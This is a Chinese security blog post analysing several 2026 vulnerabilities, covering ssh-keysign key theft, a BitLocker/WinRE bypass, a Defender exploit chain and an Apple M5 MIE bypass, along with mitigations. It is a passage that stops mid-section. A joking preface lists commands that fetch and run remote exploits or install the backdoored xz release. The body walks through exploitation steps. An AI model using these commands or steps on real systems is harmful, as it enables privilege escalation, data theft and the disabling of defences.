mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
12037 字
32 分钟
不止 Linux!Windows/Mac 接连爆出高危漏洞:SSH密钥泄露、BitLocker 失效、杀软成黑客利器、Office远程任意命令执行
2026-05-30

不止 Linux!Windows/Mac 接连爆出高危漏洞:SSH密钥泄露、BitLocker 失效、杀软成黑客利器、Office远程任意命令执行#

开始之前先叠一波甲#

免责声明#

本博客所发布的所有系统漏洞分析、技术讲解及安全研究相关内容,仅限用于网络安全学术研究、防御技术提升及合法授权场景下的安全测试目的。本博客严格遵守《中华人民共和国网络安全法》《中华人民共和国刑法》《中华人民共和国宪法》等相关法律法规的规定,坚持知识分享与维护网络安全的宗旨 阅读本博客即表示您同意遵守以下条款:

  1. 禁止非法利用:您不得将本博客中描述的任何漏洞、技术方法或代码,用于任何未经授权的网络攻击、数据窃取、系统破坏或其他违法活动。
  2. 禁止非法披露:您不得在网络产品提供者发布漏洞修补措施之前,擅自发布或传播漏洞的细节信息。
  3. 禁止散布利用工具:您不得发布或提供任何专门用于利用系统安全漏洞从事危害网络安全活动的程序和工具。

合法安全测试需满足以下条件之一: (一)经网络系统所有者或管理者书面授权,并在授权范围内进行测试; (二)通过企业官方漏洞响应平台(SRC)提交漏洞,并严格遵守平台规则; (三)仅在自行搭建的封闭靶场环境中进行技术研究与学习。

本博客内容仅供安全从业者学习交流,不构成任何实质性法律建议。

博客作者及发布平台不对任何个人或组织因阅读、理解或使用本博客内容,进而从事违反中国法律法规的行为所引发的任何直接或间接法律责任承担任何连带责任。 您需自行承担因误用、滥用、非法利用本博客技术信息而产生的一切法律后果。如您发现本博客内容涉及不当的技术披露,请及时联系作者进行核实与处理。

守法者自安,违法者自负


开始正文!#

前言#

最近linux圈 belike:

1. Linux 找回密码教程,建议收藏!
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码2. 你的 Linux 密码又忘了?
没关系,这里还有一个新的!
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp3. 不想再忘记密码了?
我们有专业的黑客团队帮您运维服务器和保管密码!
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh4. 容易忘记密码的有福了,每天都有新办法!
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡,让它down掉,然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可5. 什么,你买不起高端网卡?那试试这个吧!
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp6. 听说您的机房不允许ssh外连,只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!
https://depthfirst.com/nginx-rift7. 内核版本太高,之前的办法都失效了?没关系,技术也在迭代。git clone https://github.com/v12-security/pocs.git && cd pocs/pintheft && make && ./pwnt

废话多说 开始罢()#

1.ssh-keysign-pwn (CVE-2026-46333)#

1.1#

2026年5月中旬,Linux社区突然爆出了一个名为ssh-keysign-pwn的严重内核漏洞(CVE-2026-46333)。但这次情况有点不一样——这不是大家熟悉的缓冲区溢出,也不是那种简单的逻辑漏洞。其实,它隐藏在内核进程退出机制里,是个原子级的竞态条件。发现这个问题,让人们又一次直面Linux内核复杂设计和安全之间的老矛盾。

说到ssh-keysign,它其实是OpenSSH随机附带的一个SUID工具,用来在主机认证时给客户端签名。因为要读取受root保护的主机私钥(比如/etc/ssh/ssh_host_rsa_key),它必须特权运行。现在ssh-keysign-pwn这个漏洞,让普通本地用户在某些情况下能“偷走”被ssh-keysign打开但还没关闭的文件描述符,结果就是这些本该只有root能看的敏感文件内容被暴露了。

让人感觉棘手的是,这个漏洞直接冲破了Linux系统一直以来都很依赖的权限隔离。正常用户本来不可能碰到root拥有的文件,但靠这个竞态条件,攻击者轻松绕过了这道关。更糟糕的是,漏洞不止影响ssh-keysign——其实理论上,任何SUID程序只要在退出时还持有敏感文件描述符都能被攻击。这一下,把整个Linux系统的安全推到了危险边缘。

1.2 ptrace Exit-Race和非原子性清理#

问题根源就在于,Linux内核在处理进程退出(Exit Path)时出现了逻辑漏洞。比如在kernel/exit.c里,一个进程调用do_exit()准备收尾的时候,内核得做一堆清理——释放内存、关闭文件描述符、通知父进程等等——但这些步骤并不是完全原子的。也就是说,在这个过程中,有机会让攻击者钻空子。

关键的非原子性操作窗口出现在这两个步骤之间:

  1. 特权降级和追踪检查。进程刚开始退出时,内核会重置它的 dumpable 属性,还会检查是不是有父进程用 ptrace 在监控它。dumpable 决定进程能不能被 core dump 或被其他进程追踪。像 SUID 程序,正常情况下不能 dump,这是出于安全考虑。但在退出过程中,内核要切换一些关键状态。
  2. 文件描述符清理。接下来,内核会调用 exit_files(tsk) 释放进程打开的所有文件描述符。如果进程打开了很多文件,这一步其实挺慢的。

在 Linux 内核 6.12 之前,SUID 进程(比如 ssh-keysign)一旦触发 PTRACE_EVENT_EXIT 信号,虽然说进程已经快要退出,内核也已经做了标记,但在它所有的文件描述符真正被销毁前,这期间存在一个很小的 TOCTOU(检查与使用时机不同步)的窗口。

如果攻击者控制父进程,刚好在这个瞬间用 ptrace 介入,那一些访问控制检查(比如 ptrace_may_access)会因为进程状态在切换,出现判断失误,把进程错误地当成“可访问”。这是因为,在退出的某个时间点,进程已经被取消特权,但它还没清理掉那些敏感资源,比如打开的文件描述符。内核在做权限检查时没有处理好这个中间状态,就留下了安全漏洞。

1.3 黑客怎么利用#

环境准备

黑客会先在本地跑起一个恶意的父进程。其实最关键的事,就是它要去监控、操控目标 SUID 程序。这个父进程会 fork 一个子进程,让子进程去跑 ssh-keysign。为了能随时盯着子进程有没有退出,父进程会用 PTRACE_ATTACH 挂载上去,还顺手设个 PTRACE_O_TRACEEXIT 选项。简单说,这个选项能让内核在子进程快退出的时候,把它先暂停下来,然后扔个信号给父进程。

触发竞态窗口

黑客让 ssh-keysign 正常执行签名流程。等它快干完活、打算退出时,会调用 exit()。内核这时会开始走退出的流程。走到“触发 PTRACE_EVENT_EXIT”这一步,内核就会给父进程发出 SIGTRAP 信号,还顺便把子进程挂起。

这暂停的那一刻,就是黑客等了很久的竞态窗口。这个时候,子进程的特权状态可能已经变化了,但它的文件描述符表还在。

跨进程读取文件描述符

核心的利用就来了。在收到信号那一刻,子进程差不多要变成“僵尸”,不过,它的 files_struct 其实还没释放掉。黑客可以用 process_vm_readv 系统调用(有些版本里就在 /proc/[pid]/fd 找残留的 fd),直接跨进程去读子进程的内存。

因为 ssh-keysign 这会儿还是握着主机私钥的文件描述符,黑客只需要读子进程的 fd 表,找到那个句柄。权限检查这会儿已经没之前那么严了,黑客就能直接把这个 fd 指向的内容,也就是主机的 SSH 私钥,读到手。

抢到 SSH 私钥之后,黑客就能伪装成这台主机搞中间人攻击,或者把以前截获的加密通信解开。

1.4 防御措施和加固方案#

要防御 ssh-keysign-pwn,光靠一种方法肯定搞不定,得软硬一起上——内核补丁和系统配置必须配合。

  1. 内核补丁

    • 先把内核升到最新的版本,比如 Linux 6.12.5+,或者用你系统官方的最新安全补丁。补丁的关键就是重新设计退出流程,保证触发 ptrace 退出的时候,内核已经把敏感资源收拾干净,或者直接在退出流程里加更严的 dumpable 校验。
    • 要加强 ptrace_may_access 的权限校验,让普通用户即便进程在退出状态也碰不到不该碰的资源。这涉及修改内核访问控制,让它能稳妥处理进程退出时的各种边缘状况。
  2. 系统配置

    • 禁用非特权 ptrace:直接设 sysctl -w kernel.yama.ptrace_scope=1(或者更高),这样普通用户就别想着能追踪别人的进程了。这也是防这种漏洞最直接有效的办法。Yama 模块能帮你把 ptrace 滥用挡在门外,不让攻击者轻松挂到不属于自己的进程上。
    • 收紧 SUID 权限:虽然 ssh-keysign 必须用 SUID,但你可以用磁盘挂载的 nosuid选项,或者更现代点的认证方式(比如证书认证),去减少对传统 SUID 程序的依赖。系统里 SUID 程序越少,攻击面就越小。
  3. 监控与审计

    • auditd,监控所有异常的 ptrace 调用,还有对 /etc/ssh/ 里私钥的奇怪访问。配置好审计规则,一有异常就能报警,安全团队能马上跟进。
    • 部署基于行为分析的入侵检测系统(IDS),盯住异常进程行为,比如疯狂的 forkptrace,还有对敏感文件的意外访问。

1.5 Chaotic Eclipse 反击#

漏洞刚曝光那会儿,安全研究团队 Chaotic Eclipse 想和厂商好好沟通,想按规矩披露。但是因为沟通不畅,还有利益上的摩擦,Microsoft 直接封杀了 Chaotic Eclipse 的 GitHub 账号,导致他们大量的 PoC 原代码被下架。

Chaotic Eclipse 团队当场就怒了。他们觉得这就是打压安全研究,于是发表了强烈抗议。为报复,Chaotic Eclipse宣布——到2026年7月14日,他们要放出更多严重的零日漏洞,包括专门打击 Windows 核心架构的致命漏洞。

不过 ssh-keysign-pwn 的验证代码后来还是被别的研究员收集整理,重新发布在了 poc-lab 仓库。

2.Windows逻辑坍塌 YellowKey(CVE-2026-45585)

2.1 背景#

到了2026年5月,Windows安全报告里有一个漏洞突然炸出了圈——YellowKey(CVE-2026-45585)。它硬生生干掉了BitLocker的全盘加密防线。说起来,BitLocker是微软专门给Windows系统做的整盘加密功能。主要是把你整个硬盘都锁住,就算你的设备丢了或者被偷,别人就算把硬盘拆下来,也读不了里面的东西——只要没授权,数据就像死牢一样关着。

BitLocker安全很大程度上靠TPM(受信任的平台模块)硬件,来保护加密密钥。TPM芯片是专门储存这些敏感信息的,每次启动电脑,它都会检查启动过程有没有被动过手脚。一般来说,你必须输入密码、PIN码或恢复密钥才能解锁。哪怕有人把硬盘直接拿走,没有这些凭证也休想读到数据。BitLocker本身的设计就是:在操作系统启动前,用TPM或者人工输入来先验证一遍设备,确认只有“对的人”才能打开加密内容。

YellowKey这一次真的让大家傻眼了。它利用Windows自带的恢复环境(WinRE),攻击者无需任何密码,就能直接给BitLocker盘全盘解密。整个安全圈都炸了,因为这意味着BitLocker原本赖以维持的物理安全假设,突然在某些场景下彻底崩盘了。

2.2 WinRE 自动解锁逻辑闭环失效 句柄管理有缺陷#

YellowKey 漏洞其实不是因为加密算法有问题,而是微软在 Windows 恢复环境(WinRE)里为了让用户修复系统更方便,搞出来的自动修复机制有严重的闭环缺陷,再加上 WinRE 里不同进程句柄管理得也不严谨。

当 Windows 系统启动不了时,WinRE 会跳出来,提供一堆诊断和修复工具。为了修好系统文件,WinRE 得能访问 C 盘(通常就是系统盘)。微软的做法是:WinRE 能用 TPM 自动拿到 BitLocker 的“清除密钥”(Clear Key),或者直接用之前存下来的 VMK(卷主密钥),临时把盘解锁。说到底,这套自动解锁机制本来就是为了让用户能自己修系统,不会因为 BitLocker 加密卡在那,什么都干不了

核心

  1. 状态同步漏洞:在 WinRE 的 RecEnv.exe(恢复环境主程序)与 bdeunlock.dll(BitLocker 解锁模块)交互过程中 存在一个状态同步漏洞.当用户在 WinRE 界面中执行特定的操作序列(如从“自动修复失败”导航至“高级选项”中的特定诊断工具)时 系统会为了诊断需求而解锁驱动器.然而 一旦解锁动作完成 内核中的 BitLocker 过滤驱动(fvevol.sys)会将该卷标记为“已解锁”状态.问题在于 WinRE 的 UI 逻辑未能确保在所有可能的退出路径或中断情况下 都能够强制执行“重新锁定”操作.

  2. 持久化句柄泄露:当 BitLocker 卷被解锁后 WinRE 内部的某些进程会持有指向该已解锁卷的句柄.正常情况下 这些句柄应该在相关操作完成后立即关闭.然而 YellowKey 发现 如果用户在特定的 UI 流程中强行调出命令行工具(例如通过键盘快捷键) WinRE 的主 UI 进程可能会被中断 导致其未能正确执行句柄清理和卷重新锁定的操作.这意味着 已解锁卷的句柄在 WinRE 环境中被“泄露”并保持活跃状态 允许其他进程(如命令行工具)在未经授权的情况下访问该卷.

  3. UI 流程与底层逻辑的脱节:WinRE 的设计初衷是提供一个受限且安全的修复环境.但其复杂的 UI 流程与底层 BitLocker 解锁/锁定逻辑之间的耦合度不够紧密.当 UI 流程被意外中断或绕过时 底层 BitLocker 状态未能及时响应 从而产生了安全窗口.

2.3 黑客如何利用#

YellowKey 的利用门槛极低 这正是其可怕之处.它不需要复杂的远程代码执行 也不需要高深的内核漏洞利用技术 仅仅通过物理接触和对 WinRE 流程的理解即可完成攻击.

步骤一:物理访问与引导进入 WinRE#

攻击者首先需要物理接触目标电脑.然后 通过以下常见方法强制系统进入 WinRE:

  • 连续强制关机:在 Windows 启动过程中 连续强制关机三次.系统会认为启动失败 并自动进入 WinRE.
  • 启动组合键:某些 OEM 厂商的设备可能提供特定的启动组合键(如 F8F11 等)直接进入恢复环境.
  • 外部恢复介质:使用预先制作的 Windows 恢复 U 盘或光盘引导系统.

步骤二:触发 BitLocker 自动解锁逻辑#

进入 WinRE 后 攻击者会看到“选择一个选项”界面.攻击者并不直接选择“命令提示符” 而是按照以下路径操作:

  1. 选择 疑难解答
  2. 选择 高级选项
  3. 选择一个会触发磁盘扫描或修复的工具 例如启动修复卸载更新.

在这些工具的执行过程中 WinRE 会自动与 TPM 通信 获取 BitLocker 密钥 并临时解锁 C 盘 以便对系统文件进行检查和修复.这个过程是自动的 无需用户输入任何密码.

步骤三:拦截 UI 流程并保持句柄#

这是 YellowKey 利用的关键一步.当“启动修复”等工具开始运行 并显示“正在诊断你的电脑”或类似信息时 攻击者需要在此刻中断正常的 UI 流程 并调出命令行提示符.常用的方法包括:

  • 键盘快捷键:在某些 WinRE 版本中 Shift + F10 组合键可以直接调出命令提示符.
  • UI 崩溃/中断:故意触发某些 UI 错误或通过快速切换界面 使得 RecEnv.exe 的主 UI 进程被中断 但其持有的已解锁卷句柄未能被正确释放.

由于 RecEnv.exe 在此时持有一个指向已解锁卷的全局句柄 且由于 UI 状态机被中断 该句柄不会被释放.这意味着 BitLocker 卷虽然在逻辑上应该被重新锁定 但由于句柄的持续存在 它在文件系统层面仍然是可访问的.

步骤四:全盘数据读取与加密关闭#

在成功调出的 CMD 窗口中 攻击者会发现 C 盘(或其他 BitLocker 加密的驱动器)已经是可读写状态.此时 黑客可以执行以下操作:

  1. 直接访问敏感数据:导航到用户目录(如 C:\Users\<Username>\DocumentsC:\Users\<Username>\Desktop)或任何其他敏感位置 直接读取、复制或删除文件.攻击者可以将这些文件拷贝到预先插入的 USB 闪存盘中.
  2. 彻底关闭 BitLocker 加密:为了方便后续操作或避免再次触发 BitLocker 黑客通常会执行以下命令来永久关闭加密:
    Terminal window
    manage-bde -off C:
    该命令会启动后台解密流程 将整个硬盘还原为明文状态.这个过程可能需要数小时 但一旦完成 BitLocker 将不再提供保护.

2.4 措施#

由于 YellowKey 涉及到物理接触和系统内置恢复逻辑 防御需要多层次布局 从硬件、固件到操作系统层面进行加固.

  1. 禁用 WinRE

    • 对于高安全性要求的设备 可以直接禁用 WinRE.这可以通过管理员权限的命令提示符执行:
      Terminal window
      reagentc /disable
      能阻止攻击者通过常规手段进入恢复环境.然而 这种方法也有副作用:当系统真正出现故障时 用户将无法使用 WinRE 进行自助修复 可能需要更复杂的恢复流程.
  2. 强化 TPM 策略与 BitLocker 恢复密钥

    • 强制恢复密钥输入:配置组策略 要求在启动 WinRE 时必须输入 BitLocker 恢复密钥.这打破了“自动解锁”的闭环 使得攻击者即使进入 WinRE 也无法获取解密句柄.具体配置路径通常在“计算机配置”->“管理模板”->“Windows 组件”->“BitLocker 驱动器加密”->“操作系统驱动器”中.
    • 禁用自动解锁:确保 BitLocker 不配置为在没有用户交互的情况下自动解锁.
  3. 设置 BIOS/UEFI 密码与安全启动

    • BIOS/UEFI 密码:设置强密码以防止攻击者修改启动顺序或禁用安全功能.
    • 安全启动(Secure Boot):启用 Secure Boot 可以确保只有经过签名的操作系统组件才能加载 防止恶意引导加载程序绕过系统安全机制.
    • 禁用外部引导:在 BIOS/UEFI 中禁用从 USB 或其他外部介质引导的功能.
  4. 部署微软补丁

    • 微软在 2026 年 5 月下旬发布了针对 WinRE 的紧急更新.该补丁通过修改 bdeunlock.dllRecEnv.exe 的内部逻辑 确保在任何 UI 切换或异常中断发生时 系统都会强制执行 FveCloseVolume 操作 彻底切断未授权的解密通道.及时安装所有 Windows 更新是至关重要的.
  5. 物理措施

    • YellowKey 的核心在于物理访问.因此 加强设备的物理安全是根本.例如 将设备存放在安全区域 使用物理锁 以及对设备进行资产追踪.

2.5 Chaotic Eclipse 反击、 0day 预警#

YellowKey 的发现者 Chaotic Eclipse 团队 在漏洞披露初期曾与微软进行沟通.然而 由于双方在披露流程和漏洞严重性评估上的分歧 以及 Microsoft 恶意封锁 Chaotic Eclipse 的 GitHub 账户 导致双方关系彻底破裂.原版 YellowKey 的自动化利用脚本(PoC)因此被 GitHub 下架 使得许多安全研究人员无法第一时间获取到详细的利用细节.

Chaotic Eclipse 对此表示强烈不满 并声称 Microsoft 的行为是“对安全研究的公然挑衅和压制”.作为回应 该团队已公开宣布 将于 2026年7月14日 向全球披露更多严重的 Windows 0day 漏洞.他们声称 这些 0day 漏洞中包含了能够绕过最新微码补丁的 YellowKey 变种 以及其他针对 Windows 核心组件的致命缺陷.这一预警使得整个网络安全界对 7 月 14 日的到来充满紧张与期待 预示着一场前所未有的 0day 风暴即将席卷而来.

3.防御崩塌BlueHammer/RedSun/UnDefend#

3.1 背景#

2026年4月到5月,暗网和安全圈里突然流传起一套专门针对Windows Defender(现在叫Microsoft Defender for Endpoint)的零日利用工具,大家直接把它们叫“Defender三部曲”。说实话,这套攻击链一出来,攻防两边的局势就彻底变了——本来是系统护盾的Defender,现在居然被黑客当成提权、长期潜伏和隐藏行动的工具。漏洞公开后,很多人对自带的安全软件再不敢抱太大信心了,也让微软在安全设计和反应速度上的这些老毛病暴露得一清二楚。

这些不只是漏洞 而是一个精心设计的攻击链 环环相扣 估计是要实现对 Windows 系统的完全控制和对安全防护的彻底绕过:

  1. BlueHammer:这是一个本地权限提升(LPE)漏洞 允许一个拥有普通用户权限的攻击者 通过滥用 Defender 的更新机制 获取到 SYSTEM 级别的最高权限.这是整个攻击链的起点 为后续的内核渗透和防护绕过奠定基础.
  2. RedSun:在获得 SYSTEM 权限后 RedSun 负责实现内核级代码执行与持久化.它通过利用 Defender 内核驱动中的漏洞 将恶意代码注入到内核空间 从而获得对系统的绝对控制权 并确保攻击者在系统重启后仍能维持访问.
  3. UnDefend:这是最令人胆寒的部分.它不直接禁用或卸载 Defender(这会触发警报) 而是通过篡改 Defender 进程的内部状态和内存 使其在表面上正常运行 但实际上已经失去了识别和拦截恶意软件的能力.Defender 变成了“睁眼瞎” 为攻击者的后续行动提供了完美的隐蔽性.

3.2 服务信任链+内核对象防护 的缺失#

“Defender 三部曲”的成功并非源于单一漏洞 而是对 Windows 安全子系统多个薄弱环节的协同利用.它暴露了微软在服务信任链管理、内核对象防护以及进程间通信安全方面的深层缺陷.

BlueHammer 的根因:符号链接攻击与不安全的更新机制#

BlueHammer 利用了 MpSigStub.exe(Microsoft Defender 签名更新程序)在处理更新包路径时的符号链接(Symlink)攻击漏洞.MpSigStub.exe 是一个以 SYSTEM 权限运行的关键服务 负责下载和安装 Defender 的病毒定义文件和引擎更新.其设计初衷是为了确保更新过程的完整性和安全性.

  • 不安全的临时文件处理MpSigStub.exe 在下载更新包后 会在 C:\ProgramData\Microsoft\Windows Defender\Scans\ 目录下创建临时文件和目录来解压和处理更新内容.然而 在处理这些临时文件时 程序未能对路径进行严格的重定向检查.
  • 符号链接滥用:攻击者可以通过构造一个恶意的符号链接(Symbolic Link) 将 MpSigStub.exe 预期写入的某个临时文件或目录重定向到系统关键位置 例如 C:\Windows\System32.由于 MpSigStub.exe 以 SYSTEM 权限运行 它会毫无疑问地将攻击者伪造的恶意 DLL 或可执行文件写入到 System32 目录.
  • DLL 劫持/服务加载:一旦恶意 DLL 被写入 System32 攻击者可以等待系统重启 或者利用其他机制(如 DLL 劫持或修改现有服务的配置)诱导某个以 SYSTEM 权限运行的服务加载这个恶意 DLL.一旦加载 攻击者就成功获得了 SYSTEM 权限.

RedSun 的根因:内核驱动的堆栈溢出与 IOCTL 滥用#

RedSun 针对 Defender 的内核过滤驱动 WdFilter.sys.WdFilter.sys 是 Defender 的核心组件之一 它在内核模式下运行 负责实时监控文件系统活动、进程行为和网络流量 是 Defender 实现实时保护的关键.由于其在内核态运行 任何针对它的漏洞都可能导致严重的系统崩溃或完全的系统控制.

  • 非典型的堆栈溢出:该驱动在处理特定的 I/O 控制码(IOCTL)时 存在一个非典型的堆栈溢出缺陷.IOCTL 是用户态程序与内核驱动通信的接口.攻击者通过向 WdFilter.sys 发送精心构造的 IRP(I/O 请求包) 可以利用驱动程序内部对输入缓冲区长度检查的疏忽 导致数据写入超出预期的堆栈边界.
  • 覆盖返回地址:这种堆栈溢出允许攻击者覆盖内核栈中的返回地址.通过将返回地址指向攻击者预先准备好的 Shellcode 攻击者可以在内核态执行任意指令.一旦在内核态执行代码 攻击者就拥有了对整个系统的绝对控制权 可以禁用安全功能、安装 Rootkit、窃取数据等.

UnDefend 的根因:PPL 机制的逻辑挑战与内核对象篡改#

UnDefend 是对 Windows PPL (Protected Process Light) 机制的逻辑挑战.PPL 是 Windows Vista 引入的一种安全机制 旨在保护关键系统进程(如防病毒软件、DRM 组件)免受恶意软件的攻击.PPL 进程受到严格保护 普通用户甚至管理员都无法终止它们 也无法向其注入代码.

  • PPL 标志位篡改:然而 UnDefend 发现了一个逻辑漏洞:如果攻击者已经通过 BlueHammer 获取了 SYSTEM 权限 他们可以利用一个未公开的内核 API 通过修改内核中的 EPROCESS 结构体标志位 动态地“降级”Defender 的保护等级.EPROCESS 结构体是内核中描述进程的核心数据结构 其中包含了进程的各种属性和状态.
  • 内存注入与功能劫持:一旦 Defender 进程的 PPL 标志被移除 它就从一个“受保护进程”变成了“普通进程”.此时 攻击者可以利用标准的进程注入技术(如 CreateRemoteThreadWriteProcessMemory)向 Defender 进程的内存空间注入恶意代码.UnDefend 的核心在于 它会定位到 Defender 负责特征码匹配的核心函数(如 ScanningEngine::ScanBufferSignatureMatcher::Match) 并将其入口指令修改为直接返回 0(表示未发现威胁).

3.3 黑客如何利用#

“Defender 三部曲”的攻击链条设计精巧 旨在最大化攻击效果并最小化被检测的风险.

BlueHammer 夺权——从普通用户到 SYSTEM#

  1. 投放恶意更新包:攻击者在目标机器上投放一个伪造的“更新描述文件”和恶意 DLL.这些文件通常被放置在用户可写入的临时目录中 并构造符号链接 将 Defender 预期写入的临时路径重定向到 C:\Windows\System32.
  2. 触发 Defender 更新:攻击者通过某种方式(例如 诱导用户点击一个恶意链接 该链接会触发 Defender 的手动更新检查;或者利用其他漏洞在后台静默触发)诱使 MpSigStub.exe 启动.
  3. 利用竞态条件:当 MpSigStub.exe 尝试写入签名数据时 由于符号链接的存在 它实际上会将攻击者的恶意 DLL 写入到 System32 目录.这个过程利用了毫秒级的竞态条件 确保在 Defender 完成路径检查之前 符号链接已经生效.
  4. 加载恶意 DLL:一旦恶意 DLL 被写入 System32 攻击者可以等待系统重启 或者利用已知的 DLL 劫持技术 诱导某个以 SYSTEM 权限运行的服务加载这个恶意 DLL.一旦加载 攻击者就成功获得了 SYSTEM 权限.

RedSun 渗透内核——隐形控制与持久化#

  1. 加载 RedSun 利用程序:在获得 SYSTEM 权限后 攻击者加载 RedSun 利用程序.该程序通常是一个签名的驱动程序 或者利用已有的 SYSTEM 权限加载一个未签名的驱动程序(通过绕过驱动签名强制执行).
  2. WdFilter.sys 通信:RedSun 利用程序直接与 \\.\WdFilter 设备通信 发送精心构造的 IOCTL 请求.这些请求旨在触发 WdFilter.sys 驱动中的堆栈溢出漏洞.
  3. 内核态代码执行:通过堆栈溢出 RedSun 成功在内核态执行其 Shellcode.这段 Shellcode 通常会安装一个 Rootkit 用于隐藏攻击者的进程、文件和网络连接 并确保攻击者在系统重启后仍能维持对系统的控制.
  4. 建立持久化:Rootkit 会修改内核数据结构 钩取关键系统调用 从而实现隐蔽的持久化机制 使得攻击者可以随时重新激活其对系统的控制.

UnDefend 彻底瘫痪#

  1. 解除 PPL 保护:攻击者运行 UnDefend.UnDefend 利用 SYSTEM 权限 通过调用未公开的内核 API 或直接修改内核内存 找到 MsMpEng.exe(Defender 的主进程)对应的 EPROCESS 结构体 并将其 PPL 标志位移除.此时 MsMpEng.exe 不再受到 PPL 保护.
  2. 内存注入与功能劫持:UnDefend 随后利用标准的进程注入技术(如 NtCreateThreadExNtWriteVirtualMemory)向 MsMpEng.exe 的内存空间注入恶意代码.这段代码会定位到 Defender 负责特征码匹配的核心函数(如 ScanningEngine::ScanBuffer).
  3. 旁路扫描引擎:UnDefend 将该函数的入口指令修改为直接返回 0(表示未发现威胁).这意味着 无论任何文件或进程被扫描 Defender 的扫描引擎都会报告“安全” 即使它实际上是恶意的.

至此 Defender 变成了“脑死亡”状态:它依然在后台运行 图标显示为绿色 系统托盘显示“你的设备受到保护” 但它已经失去了识别任何病毒或木马的能力.这种隐蔽的瘫痪比直接停止服务更具欺骗性 使得用户和管理员难以察觉.

3.4 措施#

针对“Defender 三部曲”这样复杂的攻击链 防御需要多层次、纵深防御的策略 并结合最新的安全技术.

  1. 启用 WDAC(Windows Defender 应用程序控制)

    • 强制执行代码签名校验:WDAC 是一种强大的白名单机制 它强制执行代码签名校验 只允许运行受信任的应用程序和脚本.即使 BlueHammer 成功写入了恶意 DLL 如果没有合法的数字签名 WDAC 也会阻止其加载和执行.这是对抗 DLL 劫持和恶意代码注入的有效手段.
  2. 收紧 ProgramData 权限与符号链接防御

    • ACL 强化:通过 ACL(访问控制列表)严格限制普通用户在 C:\ProgramData\Microsoft\Windows Defender\Scans 及其子目录下的写入和符号链接创建权限.这可以有效阻止 BlueHammer 的符号链接攻击.
    • 符号链接审计:部署文件系统监控工具 审计和警报任何在关键系统目录中创建符号链接的行为.
  3. 监控内核驱动加载与 IOCTL 行为

    • EDR/XDR 部署:使用先进的 EDR(Endpoint Detection and Response)或 XDR(Extended Detection and Response)工具 监控对 WdFilter.sys 的异常 IOCTL 调用.任何非标准的内核通信都应被视为高危信号 并触发警报.
    • 驱动签名强制执行:确保系统启用了驱动签名强制执行 阻止未经签名的恶意驱动程序加载.
  4. 补丁管理与系统更新

    • 及时安装更新:确保安装了 2026 年 5 月的累计更新.该更新通过重构 MpSigStub.exe 的文件处理逻辑 并为 WdFilter.sys 引入了更严格的边界检查 封堵了上述漏洞.及时打补丁是基础且最重要的防御措施.
  5. 内存完整性保护

    • HVCI/VBS:启用基于虚拟化的安全(VBS)和内存完整性(HVCI) 可以有效保护内核和关键系统进程免受内存篡改攻击 从而增强 PPL 机制的韧性.

3.5 巴巴博弈:Chaotic Eclipse#

Defender 三部曲公之于众后,Microsoft 和 Chaotic Eclipse 的矛盾彻底爆发。漏洞刚被披露,Microsoft 马上推了补丁,脸上不太挂得住,还极力想把影响说得小一点。结果 Chaotic Eclipse 在推特上直接嘲讽:“微软以为修掉了 BlueHammer 就能睡得着?他们忘了,我们手里还有七把类似的大锤。”

其实,这句话说得挺直接,摆明了 Chaotic Eclipse 还握着好几个针对 Defender 更新机制或者类似 SYSTEM 权限服务的零日漏洞。按他们说法,这些“锤子”现在能绕开微软刚发的补丁。他们还放话,打算 7 月 14 日报复微软恶意封锁团队 GitHub 账号,届时把这些致命漏洞全都公布。眼看冲突越烧越猛,整个网络安全圈里,没人不在关注 7 月 14 日会发生什么,气氛说紧张也带点期待。

说到底,这不仅仅是技术高手间的对决,更是安全研究者和大公司之间的较量。局势发展到现在,大家不得不面对一个老问题:追求系统安全过程中,安全研究者的独立性和厂商的商业利益,该怎么平衡?

第四章 macOS M5 MIE 绕过(硬件防线)#

4.1 背景#

2026年5月,网络安全圈炸了锅。苹果刚在M5芯片里上线的“内存损坏攻击终结者”——MIE(Memory Integrity Enforcement),号称能从硬件层面彻底挡住各种内存漏洞。结果呢?不到半年,安全公司Calif和Anthropic的Mythos AI联手把它攻破了。这不仅成了macOS安全历史上的一个大事件,也让整个行业对所谓“硬件级安全”产生了前所未有的质疑,大家不得不重新思考未来计算平台到底能有多安全。

MIE绝对不是个小打小闹的防线。苹果花了整整五年、砸下无数资源来研发它。他们从ARM的Memory Tagging Extension(MTE)获得灵感,在硬件层面给内存数据贴上标签,每次访问内存时都要核查一遍,想从根上断绝那些老掉牙的内存漏洞——像缓冲区溢出、Use-After-Free这些。这种设计原本就是冲着“漏洞几乎不可能利用”去的,要把macOS的整体安全拉到一个新高度。

结果Calif和Mythos AI组队搞了个大新闻。他们在M5芯片的微架构深处挖出一个逻辑漏洞,直接实现了在受MIE保护的内核内存里任意执行代码。这一下就说明:哪怕你觉得安全壁垒已经固若金汤,AI那一套深度分析一上,还是能挑出你想不到的漏洞。这不只是AI在漏洞挖掘里能力大爆发的证明,也是网络安全攻防战线正式伸进了硬件微架构的信号。未来的安全战场,真的不只是软件层面的事了。

4.2 根因分析:微架构缓存一致性与页表属性合并缺陷#

MIE 的核心原理是为每 16 字节的内存块分配一个 4 位的“硬件标签”(Tag).当 CPU 访问内存时 硬件会自动校验指针中的标签与内存中的标签是否匹配.如果不匹配 硬件会立即触发异常 从而阻止恶意内存操作.这种机制旨在提供细粒度的内存访问控制 远超传统的页表权限管理.

然而 Mythos AI 发现了一个致命的微架构缺陷:

该缺陷存在于 M5 芯片的 TLB(转换检测缓冲区)与页表属性合并(Page Table Attribute Merging) 的交互逻辑中.TLB 是 CPU 内部用于缓存虚拟地址到物理地址转换的硬件单元 旨在加速内存访问.页表属性合并是现代 CPU 为了优化性能和内存管理而采用的一种技术 它允许操作系统在某些情况下合并具有相似属性的页表条目 以减少 TLB 查找的开销.

